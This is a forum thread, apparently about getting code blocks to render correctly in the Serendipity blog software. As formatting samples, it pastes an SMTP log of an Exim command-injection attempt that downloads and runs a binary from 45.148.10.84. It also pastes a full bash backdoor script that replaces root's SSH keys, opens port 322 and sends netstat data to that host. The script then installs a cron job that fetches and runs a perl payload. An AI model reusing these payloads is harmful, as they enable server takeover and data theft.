using <code> will not display it correctly.
ideas?
something like
Code: Select all
///////<br>///n/n
Code: Select all
///////<br>///n/n
What is your definition of "not correctly", i.e. what do you expect and what (else) do you get?
Code: Select all
<pre>
<code>
[1585319348.11][45.148.10.84:44220] HELO service.com
[1585319348.12][45.148.10.84:44220] MAIL FROM: <support@service.com>
[1585319348.13][45.148.10.84:44220] RCPT TO: <root+${run{\\\\x2Fbin\\\\x2Fsh\\\\t-c\\\\t\\\\x22wget\\\\x2045.148.10.84\\\\x2fss\\\\x20-Osxs\\\\x3bchmod\\\\x20\\\\x2bx\\\\x20sxs\\\\x3b.\\\\x2fsxs\\\\x22}}@mail.grospolina.org>
[1585319348.15][45.148.10.84:44220] RCPT TO:<root+${run{\\\\x2Fbin\\\\x2Fsh\\\\t-c\\\\t\\\\x22wget\\\\x2045.148.10.84\\\\x2fss\\\\x20-Osxs\\\\x3bchmod\\\\x20\\\\x2bx\\\\x20sxs\\\\x3b.\\\\x2fsxs\\\\x22}}@grospolina.org>
[1585319348.16][45.148.10.84:44220] RCPT TO:<root+${run{\\\\x2Fbin\\\\x2Fsh\\\\t-c\\\\t\\\\x22wget\\\\x2045.148.10.84\\\\x2fss\\\\x20-Osxs\\\\x3bchmod\\\\x20\\\\x2bx\\\\x20sxs\\\\x3b.\\\\x2fsxs\\\\x22}}@localhost>
[1585319348.18][45.148.10.84:44220] DATA
[1585319348.19][45.148.10.84:44220] Received: 1\\r\\nReceived: 2\\r\\nReceived: 3\\r\\nReceived: 4\\r\\nReceived: 5\\r\\nReceived: 6\\r\\nReceived: 7\\r\\nReceived: 8\\r\\nReceived: 9\\r\\nReceived: 10\\r\\nReceived: 11\\r\\nReceived: 12\\r\\nReceived: 13\\r\\nReceived: 14\\r\\nReceived: 15\\r\\nReceived: 16\\r\\nReceived: 17\\r\\nReceived: 18\\r\\nReceived: 19\\r\\nReceived: 20\\r\\nReceived: 21\\r\\nReceived: 22\\r\\nReceived: 23\\r\\nReceived: 24\\r\\nReceived: 25\\r\\nReceived: 26\\r\\nReceived: 27\\r\\nReceived: 28\\r\\nReceived: 29\\r\\nReceived: 30\\r\\nReceived: 31\\r\\n
[1585319348.21][45.148.10.84:44220] QUIT
</code>
</pre>
Code: Select all
#!/bin/bash
exists=$(grep -c "^jkl:" /etc/passwd)
if [ $exists -eq 0 ]; then
chattr -isa /root/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtI3JzaABDotq1IL3m3KCpwMdGCY+Jr5CGbnznw4QPvVh139jplKrTxm7/3bLdfiLXtkmZfQBiWykH1zi0boA4Tdpw2VJAP9cJL7aru3yX6Zp9Ipo8BdwHHx/KCvLeT9zXosdFCGMyrLZySvhLs3ndqcKOLnQiEAwctaMQxH6hyuRo7Ao5xHTQuYHPVLjNQcZ4as2lFmSEHciPaRda7qgOapWXJdFscwiCyfjxoXOvhRLIb9zVuyvYIc+/X3lufaBrr5G7ElnEfV9/82D9GEOfIXXmLpbSmk5jnu66AXPk4KepTzFx3orvQA7Vk84YsWQDxcyiw78nCvICk1S30YtJ root@' >/root/.ssh/authorized_keys
/usr/sbin/sshd -p 322
/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/sbin/iptables-save >/dev/null 2>&1
/usr/sbin/iptables -I OUTPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/usr/sbin/iptables -I INPUT -p tcp --dport 322 -j ACCEPT >/dev/null 2>&1
/usr/sbin/iptables-save >/dev/null 2>&1
data2=`netstat -natp |grep sshd|base64`
wget -q --post-data "DATA=dGlua2QK&DATA2=$data2" 45.148.10.84/.z/p.php -O /dev/null
cd /tmp
echo 'cd /tmp;wget 45.148.10.84/r.png;perl r.png;rm -fr r.png' > twink
echo 'crontab -l|grep -v twink > /tmp/mycron;crontab /tmp/mycron;rm -fr /tmp/twink' >> twink
echo '* * * * * /tmp/twink' >mycron
crontab -l >> mycron
chmod +x /tmp/twink
crontab mycron;rm -fr mycron
else
exit
fi
Serendipitys markdown plugins parse the content of your entries (or comments, or ...) in the form in which they get it, and what they get is the output of the previous markup plugin that parsed the text. Plugin order matters here, and not all markup plugins are compatible.